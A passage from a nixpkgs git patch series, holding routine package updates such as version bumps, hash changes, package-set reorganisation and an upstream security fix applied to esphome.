+    "test_task_execution_times"
+    "test_custom_converter_cls"
+    "test_save_task_output"
+    "test_inject_date"
+    "test_output_pydantic_hierarchical"
+    "test_json_property_without_output_json"
+    "test_task_interpolation_with_hyphens"
+    "test_increment_delegations_for_hierarchical_process"
+    "test_save_task_json_output"
+    "test_output_pydantic_to_another_task"
+    "test_output_json_dict_sequential"
+    "test_inject_date_custom_format"
+    "test_output_json_sequential"
+    "test_output_json_to_another_task"
+    "test_increment_delegations_for_sequential_process"
+    "test_save_task_pydantic_output"
+    "test_output_json_dict_hierarchical"
+    "test_task_with_max_execution_time"
+    "test_task_with_max_execution_time_exceeded"
+
+    # Tests task guardrails
+    "test_task_guardrail_process_output"
+    "test_guardrail_when_an_error_occurs"
+    "test_guardrail_emits_events"
+
+    # Tests tools
+    "test_delegate_work"
+    "test_delegate_work_with_wrong_co_worker_variable"
+    "test_ask_question_with_wrong_co_worker_variable"
+    "test_ask_question"
+    "test_delegate_work_withwith_coworker_as_array"
+    "test_ask_question_with_coworker_as_array"
+    "test_max_usage_count_is_respected"
+    "test_async_tool_using_within_isolated_crew"
+    "test_async_tool_using_decorator_within_flow"
+    "test_async_tool_using_decorator_within_isolated_crew"
+    "test_async_tool_within_flow"
+    "test_ainvoke"
+
+    # Tests tracing
+    "test_trace_listener_disabled_when_env_false"
+    "test_trace_listener_with_authenticated_user"
+    "test_trace_listener_collects_crew_events"
+    "test_trace_listener_ephemeral_batch"
+    "test_events_collection_batch_manager"
+
+    # Tests utilities
+    "test_converter_with_llama3_2_model"
+    "test_converter_with_llama3_1_model"
+    "test_converter_with_nested_model"
+    "test_convert_with_instructions"
+    "test_crew_emits_start_kickoff_event"
+    "test_crew_emits_test_kickoff_type_event"
+    "test_crew_emits_start_task_event"
+    "test_llm_emits_call_started_event"
+    "test_register_handler_adds_new_handler"
+    "test_multiple_handlers_for_same_event"
+    "test_llm_emits_event_with_lite_agent"
+    "test_tools_emits_finished_events"
+    "test_agent_emits_execution_started_and_completed_events"
+    "test_crew_emits_end_kickoff_event"
+    "test_llm_emits_stream_chunk_events"
+    "test_tools_emits_error_events"
+    "test_crew_emits_end_task_event"
+    "test_stream_llm_emits_event_with_task_and_agent_info"
+    "test_llm_no_stream_chunks_when_streaming_disabled"
+    "test_llm_emits_event_with_task_and_agent_info"
+
+    # Tests qdrant
+    "test_acreate_collection"
+    "test_aget_or_create_collection_wrong_client_type"
+    "test_aadd_documents_empty_list"
+    "test_acreate_collection_already_exists"
+    "test_aget_or_create_collection_existing"
+    "test_aadd_documents_collection_not_exists"
+    "test_acreate_collection_wrong_client_type"
+    "test_aadd_documents"
+    "test_aadd_documents_wrong_client_type"
+    "test_asearch"
+    "test_adelete_collection_not_exists"
+    "test_asearch_with_filters"
+    "test_adelete_collection_wrong_client_type"
+    "test_asearch_collection_not_exists"
+    "test_areset"
+    "test_areset_no_collections"
+    "test_aget_or_create_collection_new"
+    "test_aadd_documents_with_doc_id"
+    "test_asearch_wrong_client_type"
+    "test_areset_wrong_client_type"
+    "test_adelete_collection"
+  ];
+
+  nativeCheckInputs = [
+    pytestCheckHook
+    pytest-xdist
+    qdrant-client
+    versionCheckHook
+    writableTmpDirAsHomeHook
+  ];
+
+  versionCheckProgramArg = "--version";
+
+  meta = {
+    description = "Framework for orchestrating role-playing, autonomous AI agents";
+    homepage = "https://github.com/crewAIInc/crewAI";
+    changelog = "https://github.com/crewAIInc/crewAI/releases/tag/${version}";
+    license = lib.licenses.mit;
+    maintainers = with lib.maintainers; [ liberodark ];
+    platforms = lib.platforms.linux;
+    mainProgram = "crewai";
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index bf89203a2a4a..c7b59d63dbc7 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -2949,6 +2949,8 @@ self: super: with self; {
 
   credstash = callPackage ../development/python-modules/credstash { };
 
+  crewai = callPackage ../development/python-modules/crewai { };
+
   crochet = callPackage ../development/python-modules/crochet { };
 
   crocoddyl = toPythonModule (

From 3841ea2cf7d47adc1642b90c4cfcba2b39484dc5 Mon Sep 17 00:00:00 2001
From: Weijia Wang <9713184+wegank@users.noreply.github.com>
Date: Sun, 31 Aug 2025 21:30:19 +0200
Subject: [PATCH 4256/4511] exiv2: 0.28.5 -> 0.28.7

(cherry picked from commit 0960d502488e1f988a5641e455ce5390fae4cba7)
---
 pkgs/by-name/ex/exiv2/package.nix | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ex/exiv2/package.nix b/pkgs/by-name/ex/exiv2/package.nix
index 25275b39fc6d..28dbc735de95 100644
--- a/pkgs/by-name/ex/exiv2/package.nix
+++ b/pkgs/by-name/ex/exiv2/package.nix
@@ -20,7 +20,7 @@
 
 stdenv.mkDerivation rec {
   pname = "exiv2";
-  version = "0.28.5";
+  version = "0.28.7";
 
   outputs = [
     "out"
@@ -33,8 +33,8 @@ stdenv.mkDerivation rec {
   src = fetchFromGitHub {
     owner = "exiv2";
     repo = "exiv2";
-    rev = "v${version}";
-    hash = "sha256-+Fe0+wkWWtM3MNgY6qp34/kC8jkOjOLusnd9WquYpA8=";
+    tag = "v${version}";
+    hash = "sha256-a7nPjDjTcwsQeypARvy2rRsv9jpasSSxSyCTLWNDDtA=";
   };
 
   nativeBuildInputs = [
@@ -79,6 +79,10 @@ stdenv.mkDerivation rec {
   preCheck = ''
     patchShebangs ../test/
     mkdir ../test/tmp
+
+    # template.exv_test (test_regression_allfiles.TestAllFiles.template.exv_test) ... ERROR
+    substituteInPlace ../tests/regression_tests/test_regression_allfiles.py \
+      --replace-fail '"issue_2403_poc.exv",' '"issue_2403_poc.exv", "template.exv",'
   ''
   + lib.optionalString stdenv.hostPlatform.isAarch32 ''
     # Fix tests on arm
@@ -90,8 +94,8 @@ stdenv.mkDerivation rec {
     export LC_ALL=C
 
     # disable tests that requires loopback networking
-    substituteInPlace  ../tests/bash_tests/testcases.py \
-      --replace "def io_test(self):" "def io_disabled(self):"
+    substituteInPlace ../tests/bash_tests/testcases.py \
+      --replace-fail "def io_test(self):" "def io_disabled(self):"
   '';
 
   preFixup = ''

From 7c71ca4e6e7af575aa0a3136dca5bbc412380abb Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 31 Aug 2025 16:04:13 +0200
Subject: [PATCH 4257/4511] linux/hardened/patches/6.12: v6.12.41-hardened1 ->
 v6.12.43-hardened1

(cherry picked from commit 64005cd8f29795220e266588e59fe9b2dc3f787f)
---
 pkgs/os-specific/linux/kernel/hardened/patches.json | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/hardened/patches.json b/pkgs/os-specific/linux/kernel/hardened/patches.json
index 014c4611b487..493ced490c68 100644
--- a/pkgs/os-specific/linux/kernel/hardened/patches.json
+++ b/pkgs/os-specific/linux/kernel/hardened/patches.json
@@ -42,12 +42,12 @@
     "6.12": {
         "patch": {
             "extra": "-hardened1",
-            "name": "linux-hardened-v6.12.41-hardened1.patch",
-            "sha256": "1a0gc03nr0aiy2zadg6hfy718nlb2k8p5h5ymvwsdl6kblxi9f47",
-            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.41-hardened1/linux-hardened-v6.12.41-hardened1.patch"
+            "name": "linux-hardened-v6.12.43-hardened1.patch",
+            "sha256": "10hp4718agz7bj4wnis7g1c8ahnwn5917a5v88y9iwawrjm9148v",
+            "url": "https://github.com/anthraxx/linux-hardened/releases/download/v6.12.43-hardened1/linux-hardened-v6.12.43-hardened1.patch"
         },
-        "sha256": "09qfpxyxi3z8cd64r2r5mxvh54a5sx8p5mk4d50y4ga2k6pa66bb",
-        "version": "6.12.41"
+        "sha256": "1vmxywg11z946i806sg7rk7jr9px87spmwwbzjxpps2nsjybpjqg",
+        "version": "6.12.43"
     },
     "6.6": {
         "patch": {

From 61232c0f7982a61e3347cbcc1fbc77846a641ff6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 4 Sep 2025 11:37:35 +0000
Subject: [PATCH 4258/4511] discord-canary: 0.0.745 -> 0.0.748

(cherry picked from commit 548a96ea366963309068bef2b517b2ad531d9dec)
---
 .../networking/instant-messengers/discord/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix
index 843e86cfcd99..ef0814130255 100644
--- a/pkgs/applications/networking/instant-messengers/discord/default.nix
+++ b/pkgs/applications/networking/instant-messengers/discord/default.nix
@@ -11,7 +11,7 @@ let
       {
         stable = "0.0.107";
         ptb = "0.0.158";
-        canary = "0.0.745";
+        canary = "0.0.748";
         development = "0.0.84";
       }
     else
@@ -34,7 +34,7 @@ let
       };
       canary = fetchurl {
         url = "https://canary.dl2.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz";
-        hash = "sha256-6vo7vevxzVyZpLWBbTPS94wQU3pQtrMsxc91S02M42M=";
+        hash = "sha256-kjq8liiC/Op+Ik+r9RSl/tPLDlWiUyIb3cOjAxWpkO0=";
       };
       development = fetchurl {
         url = "https://development.dl2.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz";

From b347e419d935df0c66b88eaf6bacb084929d4350 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 3 Sep 2025 12:38:20 +0000
Subject: [PATCH 4259/4511] radicle-node: 1.3.0 -> 1.4.0

(cherry picked from commit f507e80eb2cb5c06ea9a511a780e2a4393c723d0)
---
 pkgs/by-name/ra/radicle-node/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ra/radicle-node/package.nix b/pkgs/by-name/ra/radicle-node/package.nix
index 526396400d2c..753c25a78af8 100644
--- a/pkgs/by-name/ra/radicle-node/package.nix
+++ b/pkgs/by-name/ra/radicle-node/package.nix
@@ -21,13 +21,13 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "radicle-node";
-  version = "1.3.0";
+  version = "1.4.0";
 
   src = fetchFromRadicle {
     seed = "seed.radicle.xyz";
     repo = "z3gqcJUoA1n9HaHKufZs5FCSGazv5";
     tag = "releases/${finalAttrs.version}";
-    hash = "sha256-0gK+fM/YGGpxlcR1HQixbLK0/sv+HH29h6ajEP2w2pI=";
+    hash = "sha256-e5Zelu3g8m9u5NtyABkIV4wOed9cq58xSaxginoDb2Q=";
     leaveDotGit = true;
     postFetch = ''
       git -C $out rev-parse HEAD > $out/.git_head
@@ -36,7 +36,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     '';
   };
 
-  cargoHash = "sha256-qLRFZXbVbsgMyXiljsb8lOBCDZKa17LcxWuPaUYSG70=";
+  cargoHash = "sha256-64SDz0wHKcp/tPGDDOlCRFr3Z1q6cWOafhP0howSFhA=";
 
   env.RADICLE_VERSION = finalAttrs.version;
 

From 2c8fb092543a40762e2bb8c78b1f3bc42770926f Mon Sep 17 00:00:00 2001
From: jopejoe1 <nixpkgs@missing.ninja>
Date: Tue, 2 Sep 2025 22:23:23 +0200
Subject: [PATCH 4260/4511] fusePackages: remove from search (#437198)

(cherry picked from commit 59ed753fffd5d1cbf25a893f3430424c7ae081f3)
---
 pkgs/top-level/packages-config.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index 67fa5a2ec73b..bf1efa961b2f 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -11,7 +11,6 @@
     with super;
     lib.mapAttrs (_: set: recurseIntoAttrs set) {
       inherit (super)
-        fusePackages
         gns3Packages
         platformioPackages
         rPackages

From 0fca2d3d1740ff09df8c804485ff53865846fbc3 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Tue, 26 Aug 2025 18:43:19 +0200
Subject: [PATCH 4261/4511] gns3Packages: eval and build

(cherry picked from commit 1a0f0b6547ed3333b9dd717fc4578702b4d57d9c)
---
 pkgs/top-level/all-packages.nix    | 2 +-
 pkgs/top-level/packages-config.nix | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 5ab6e3251ff3..cc18f7f276c7 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -8377,7 +8377,7 @@ with pkgs;
 
   #GMP ex-satellite, so better keep it near gmp
   # A GMP fork
-  gns3Packages = dontRecurseIntoAttrs (callPackage ../applications/networking/gns3 { });
+  gns3Packages = recurseIntoAttrs (callPackage ../applications/networking/gns3 { });
   gns3-gui = gns3Packages.guiStable;
   gns3-server = gns3Packages.serverStable;
 
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index bf1efa961b2f..386a91305deb 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -11,7 +11,6 @@
     with super;
     lib.mapAttrs (_: set: recurseIntoAttrs set) {
       inherit (super)
-        gns3Packages
         platformioPackages
         rPackages
         sourceHanPackages

From a3d26832c73919870267bc8e04d9c75cb28b8ea9 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Thu, 4 Sep 2025 13:37:33 +0200
Subject: [PATCH 4262/4511] platformioPackages: move packages inside to
 top-level

(cherry picked from commit 2e074e65372aa6dce545e62354142a9165fb5801)
---
 .../pl/platformio-chrootenv/package.nix}            |  0
 .../pl/platformio-core}/interpreter.patch           |  0
 .../platformio-core}/missing-udev-rules-nixos.patch |  0
 .../pl/platformio-core/package.nix}                 |  0
 .../use-local-spdx-license-list.patch               |  0
 pkgs/development/embedded/platformio/default.nix    | 13 -------------
 pkgs/top-level/aliases.nix                          |  6 ++++++
 pkgs/top-level/all-packages.nix                     |  8 +-------
 pkgs/top-level/packages-config.nix                  |  1 -
 9 files changed, 7 insertions(+), 21 deletions(-)
 rename pkgs/{development/embedded/platformio/chrootenv.nix => by-name/pl/platformio-chrootenv/package.nix} (100%)
 rename pkgs/{development/embedded/platformio => by-name/pl/platformio-core}/interpreter.patch (100%)
 rename pkgs/{development/embedded/platformio => by-name/pl/platformio-core}/missing-udev-rules-nixos.patch (100%)
 rename pkgs/{development/embedded/platformio/core.nix => by-name/pl/platformio-core/package.nix} (100%)
 rename pkgs/{development/embedded/platformio => by-name/pl/platformio-core}/use-local-spdx-license-list.patch (100%)
 delete mode 100644 pkgs/development/embedded/platformio/default.nix

diff --git a/pkgs/development/embedded/platformio/chrootenv.nix b/pkgs/by-name/pl/platformio-chrootenv/package.nix
similarity index 100%
rename from pkgs/development/embedded/platformio/chrootenv.nix
rename to pkgs/by-name/pl/platformio-chrootenv/package.nix
diff --git a/pkgs/development/embedded/platformio/interpreter.patch b/pkgs/by-name/pl/platformio-core/interpreter.patch
similarity index 100%
rename from pkgs/development/embedded/platformio/interpreter.patch
rename to pkgs/by-name/pl/platformio-core/interpreter.patch
diff --git a/pkgs/development/embedded/platformio/missing-udev-rules-nixos.patch b/pkgs/by-name/pl/platformio-core/missing-udev-rules-nixos.patch
similarity index 100%
rename from pkgs/development/embedded/platformio/missing-udev-rules-nixos.patch
rename to pkgs/by-name/pl/platformio-core/missing-udev-rules-nixos.patch
diff --git a/pkgs/development/embedded/platformio/core.nix b/pkgs/by-name/pl/platformio-core/package.nix
similarity index 100%
rename from pkgs/development/embedded/platformio/core.nix
rename to pkgs/by-name/pl/platformio-core/package.nix
diff --git a/pkgs/development/embedded/platformio/use-local-spdx-license-list.patch b/pkgs/by-name/pl/platformio-core/use-local-spdx-license-list.patch
similarity index 100%
rename from pkgs/development/embedded/platformio/use-local-spdx-license-list.patch
rename to pkgs/by-name/pl/platformio-core/use-local-spdx-license-list.patch
diff --git a/pkgs/development/embedded/platformio/default.nix b/pkgs/development/embedded/platformio/default.nix
deleted file mode 100644
index 53eb74caaf79..000000000000
--- a/pkgs/development/embedded/platformio/default.nix
+++ /dev/null
@@ -1,13 +0,0 @@
-{ newScope }:
-
-let
-  callPackage = newScope self;
-
-  self = {
-    platformio-core = callPackage ./core.nix { };
-
-    platformio-chrootenv = callPackage ./chrootenv.nix { };
-  };
-
-in
-self
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 1c6ab00a9a11..56e9e552d870 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1507,6 +1507,12 @@ mapAliases {
   pio = throw "pio has been removed due to lack of upstream maintenance"; # Added 2025-01-25
   pipewire_0_2 = throw "pipewire_0_2 has been removed as it is outdated and no longer used"; # Added 2024-07-28
   pipewire-media-session = throw "pipewire-media-session is no longer maintained and has been removed. Please use Wireplumber instead.";
+  platformioPackages = {
+    inherit
+      platformio-core
+      platformio-chrootenv
+      ;
+  }; # Added 2025-09-04
   platypus = throw "platypus is unmaintained and has not merged Python3 support"; # Added 2025-03-20
   pleroma-otp = throw "'pleroma-otp' has been renamed to/replaced by 'pleroma'"; # Converted to throw 2024-10-17
   plots = throw "'plots' has been replaced by 'gnome-graphs'"; # Added 2025-02-05
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index cc18f7f276c7..797063ca2d04 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -4178,13 +4178,7 @@ with pkgs;
     inherit (darwin) DarwinTools;
   };
 
-  platformioPackages = dontRecurseIntoAttrs (callPackage ../development/embedded/platformio { });
-  platformio =
-    if stdenv.hostPlatform.isLinux then
-      platformioPackages.platformio-chrootenv
-    else
-      platformioPackages.platformio-core;
-  platformio-core = platformioPackages.platformio-core;
+  platformio = if stdenv.hostPlatform.isLinux then platformio-chrootenv else platformio-core;
 
   playbar2 = libsForQt5.callPackage ../applications/audio/playbar2 { };
 
diff --git a/pkgs/top-level/packages-config.nix b/pkgs/top-level/packages-config.nix
index 386a91305deb..ccff7dba3fd0 100644
--- a/pkgs/top-level/packages-config.nix
+++ b/pkgs/top-level/packages-config.nix
@@ -11,7 +11,6 @@
     with super;
     lib.mapAttrs (_: set: recurseIntoAttrs set) {
       inherit (super)
-        platformioPackages
         rPackages
         sourceHanPackages
         ;

From a31b3ef05a41c625fb621c3fd12c0e7125898099 Mon Sep 17 00:00:00 2001
From: orzklv <sakhib@orzklv.uz>
Date: Thu, 4 Sep 2025 18:33:34 +0500
Subject: [PATCH 4263/4511] e-imzo: 4.71 -> 4.73

(cherry picked from commit 836069e6efb2db8a415c3ae4d134f83f8ad6bde4)
---
 pkgs/by-name/e-/e-imzo/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/e-/e-imzo/package.nix b/pkgs/by-name/e-/e-imzo/package.nix
index bc4fc51ae611..656eab0f7406 100644
--- a/pkgs/by-name/e-/e-imzo/package.nix
+++ b/pkgs/by-name/e-/e-imzo/package.nix
@@ -20,11 +20,11 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "e-imzo";
-  version = "4.71";
+  version = "4.73";
 
   src = fetchurl {
-    url = "https://dls.yt.uz/E-IMZO-v${finalAttrs.version}.tar.gz";
-    hash = "sha256-sV/xcUaBSqJw0QHkXcbkn5nsm2iL3zTt0Uoa2O/H64A=";
+    url = "https://cdn.xinux.uz/e-imzo/E-IMZO-v${finalAttrs.version}.tar.gz";
+    hash = "sha256-pkBpU0pyI1kmISNShhB17psLHmTZn3JdHbnRZCgLuGc==";
   };
 
   installPhase = ''

From 57ee482824ab447858efbba7862f010308933956 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Thu, 4 Sep 2025 16:56:34 +0200
Subject: [PATCH 4264/4511] esphome: apply patch for CVE-2025-57808

https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635
---
 pkgs/by-name/es/esphome/package.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/by-name/es/esphome/package.nix b/pkgs/by-name/es/esphome/package.nix
index 5846a147625b..2553c546ab76 100644
--- a/pkgs/by-name/es/esphome/package.nix
+++ b/pkgs/by-name/es/esphome/package.nix
@@ -3,6 +3,7 @@
   callPackage,
   python3Packages,
   fetchFromGitHub,
+  fetchpatch,
   installShellFiles,
   platformio,
   esptool,
@@ -43,6 +44,15 @@ python.pkgs.buildPythonApplication rec {
     hash = "sha256-vy/wjtl/IbdSOxAUsV4bl7VNEBTetsvIDh2V1gDHSMs=";
   };
 
+  patches = [
+    (fetchpatch {
+      # https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635
+      name = "CVE-2025-57808.patch";
+      url = "https://github.com/esphome/esphome/commit/2aceb56606ec8afec5f49c92e140c8050a6ccbe5.patch";
+      hash = "sha256-SLqjjQXM1ABxY0pmNCXgTVzMcsRLKszinvf/ZchacEM=";
+    })
+  ];
+
   build-systems = with python.pkgs; [
     setuptools
     argcomplete

From ff7d80da5d54ca9b932a03827de4fb09f33e7ae4 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 01:56:23 +0300
Subject: [PATCH 4265/4511] stats: 2.11.45 -> 2.11.49

Changelog: https://github.com/exelban/stats/releases/tag/v2.11.49
Diff: https://github.com/exelban/stats/compare/v2.11.45...v2.11.49

(cherry picked from commit 3a074719a3e5ed380aeef991ec007783f4e7575e)
---
 pkgs/by-name/st/stats/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/st/stats/package.nix b/pkgs/by-name/st/stats/package.nix
index db63752ae8f7..2550c78cd3e9 100644
--- a/pkgs/by-name/st/stats/package.nix
+++ b/pkgs/by-name/st/stats/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "stats";
-  version = "2.11.45";
+  version = "2.11.49";
 
   src = fetchurl {
     url = "https://github.com/exelban/stats/releases/download/v${finalAttrs.version}/Stats.dmg";
-    hash = "sha256-OdZ8LCU0kCCKk4SeyDryDpyCUsjf8aUZAv2o/cR4GX8=";
+    hash = "sha256-v+ZwEFYb5v7dUZlXar8io4/Lr34326ZM1p5j7OzSmig=";
   };
 
   sourceRoot = ".";

From d0477a7a4e2f4a5da1aedd24640c1001a906e18e Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Fri, 29 Aug 2025 19:28:32 +0300
Subject: [PATCH 4266/4511] stats: 2.11.49 -> 2.11.51

Changelog: https://github.com/exelban/stats/releases/tag/v2.11.51
Diff: https://github.com/exelban/stats/compare/v2.11.49...v2.11.51

(cherry picked from commit 85df8e9381435ea4587705fee43df4a7433fa163)
---
 pkgs/by-name/st/stats/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/st/stats/package.nix b/pkgs/by-name/st/stats/package.nix
index 2550c78cd3e9..75657e93be4e 100644
--- a/pkgs/by-name/st/stats/package.nix
+++ b/pkgs/by-name/st/stats/package.nix
@@ -8,11 +8,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "stats";
-  version = "2.11.49";
+  version = "2.11.51";
 
   src = fetchurl {
     url = "https://github.com/exelban/stats/releases/download/v${finalAttrs.version}/Stats.dmg";
-    hash = "sha256-v+ZwEFYb5v7dUZlXar8io4/Lr34326ZM1p5j7OzSmig=";
+    hash = "sha256-oFRS60LPIscqBPMUfK1WvWi7eDv3VpAUaaAKyrpzN2s=";
   };
 
   sourceRoot = ".";

From a2e9e351dda993e3b43c76e96ff239d0f732bd50 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Thu, 28 Aug 2025 17:53:47 +0200
Subject: [PATCH 4267/4511] signal-desktop: 7.66.0 -> 7.68.0

Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 26b7cfccad0123da5b1182f039ed52d9d8cdda27)
---
 pkgs/by-name/si/signal-desktop/libsignal-node.nix |  8 ++++----
 pkgs/by-name/si/signal-desktop/package.nix        | 14 +++++++-------
 2 files changed, 11 insertions(+), 11 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop/libsignal-node.nix b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
index 95e1d952e4da..bf3b6ecf3536 100644
--- a/pkgs/by-name/si/signal-desktop/libsignal-node.nix
+++ b/pkgs/by-name/si/signal-desktop/libsignal-node.nix
@@ -24,23 +24,23 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "libsignal-node";
-  version = "0.76.7";
+  version = "0.78.3";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-7UXOCgjZYOOMMnBk1pvORJVTClQo9vbhSteKBE5RHw8=";
+    hash = "sha256-BRNgNE7BR4mlCKS4sydxx7rrfy+s4bTpQkX9GbEfhTg=";
   };
 
-  cargoHash = "sha256-beeR/tISks99+o/kdqaq96nznwoiNduyB/BBVvNTEn0=";
+  cargoHash = "sha256-T8kSQFTvwAYZad9rQRK6vY8vEiilEKv1+fd/1EBlxjI=";
 
   npmRoot = "node";
   npmDeps = fetchNpmDeps {
     name = "${finalAttrs.pname}-npm-deps";
     inherit (finalAttrs) version src;
     sourceRoot = "${finalAttrs.src.name}/${finalAttrs.npmRoot}";
-    hash = "sha256-nbGeT0Fyu9T/3EFoIDaAESIl9JOIOq2jC53GWU1Ofeo=";
+    hash = "sha256-e/WyQlea46qTx7x45QuYdlaShezHV5vuB3ptB2DRCVE=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/si/signal-desktop/package.nix b/pkgs/by-name/si/signal-desktop/package.nix
index e3c916297f20..736696528de4 100644
--- a/pkgs/by-name/si/signal-desktop/package.nix
+++ b/pkgs/by-name/si/signal-desktop/package.nix
@@ -3,7 +3,7 @@
   lib,
   nodejs_22,
   pnpm_10,
-  electron_36,
+  electron_37,
   gn_2233,
   python3,
   makeWrapper,
@@ -20,7 +20,7 @@
 let
   nodejs = nodejs_22;
   pnpm = pnpm_10.override { inherit nodejs; };
-  electron = electron_36;
+  electron = electron_37;
   gn = gn_2233;
 
   libsignal-node = callPackage ./libsignal-node.nix { inherit nodejs; };
@@ -50,13 +50,13 @@ let
     '';
   });
 
-  version = "7.66.0";
+  version = "7.68.0";
 
   src = fetchFromGitHub {
     owner = "signalapp";
     repo = "Signal-Desktop";
     tag = "v${version}";
-    hash = "sha256-8IhY7m9beyfbs8Pnm8PeSW7vL+aBIgcN8HVmstgKFe8=";
+    hash = "sha256-jsNSRNgIS0ZroM2vwPSFpCVfC81slQ4mUoRq5jDYi8Y=";
   };
 
   sticker-creator = stdenv.mkDerivation (finalAttrs: {
@@ -120,15 +120,15 @@ stdenv.mkDerivation (finalAttrs: {
     fetcherVersion = 1;
     hash =
       if withAppleEmojis then
-        "sha256-XO+lbCndOupUncod2b6w7BdesGX84GgQQ3SYlX1yp0Q="
+        "sha256-iu/ZjIn5c4X0rxWUFqiNLLAjCGKFYihsYxfgWtfmqk4="
       else
-        "sha256-+pq4jGJzy0bg9rkN6jKyuiGiad2BP28mIy+/SgbyNWc=";
+        "sha256-gMtBdlcuiAZRV5eeh2NoyOusFheCmn0/NIQwVPrUH/U=";
   };
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
     SIGNAL_ENV = "production";
-    SOURCE_DATE_EPOCH = 1755119611;
+    SOURCE_DATE_EPOCH = 1756327041;
   };
 
   preBuild = ''

From e038a0ef49faf4a6a6a39ba59ec75ca4a3b9a96f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 31 Aug 2025 14:29:33 +0000
Subject: [PATCH 4268/4511] matrix-alertmanager-receiver: 2025.8.20 ->
 2025.8.27

(cherry picked from commit f0cc7051c0fc4e1077db61bb32b9e5771bc6d876)
---
 pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
index f2513130c129..9fc85eab1f96 100644
--- a/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
+++ b/pkgs/by-name/ma/matrix-alertmanager-receiver/package.nix
@@ -8,16 +8,16 @@
 
 buildGoModule (finalAttrs: {
   pname = "matrix-alertmanager-receiver";
-  version = "2025.8.20";
+  version = "2025.8.27";
 
   src = fetchFromGitHub {
     owner = "metio";
     repo = "matrix-alertmanager-receiver";
     tag = finalAttrs.version;
-    hash = "sha256-7mKpS80Iw35F+YiQujh80wGIjsxwcCEs8lDGLdq1v3U=";
+    hash = "sha256-bJdJJM2Ok1fxMTM2JoZe0mBz3EB0py5ZQfk/7FqfCI0=";
   };
 
-  vendorHash = "sha256-Y43bmnY9E9Mq3yjJ5XO+Ox+jjUmD2IB+SYdyn4IeXE4=";
+  vendorHash = "sha256-efnLovSd9oC5MO1DTs30GBNDY+r2Q1uD8dCdRqnVhCY=";
 
   env.CGO_ENABLED = "0";
 

From 529d0f6bfbdeb5a8dd4139cd0f69b9a913eafbe5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
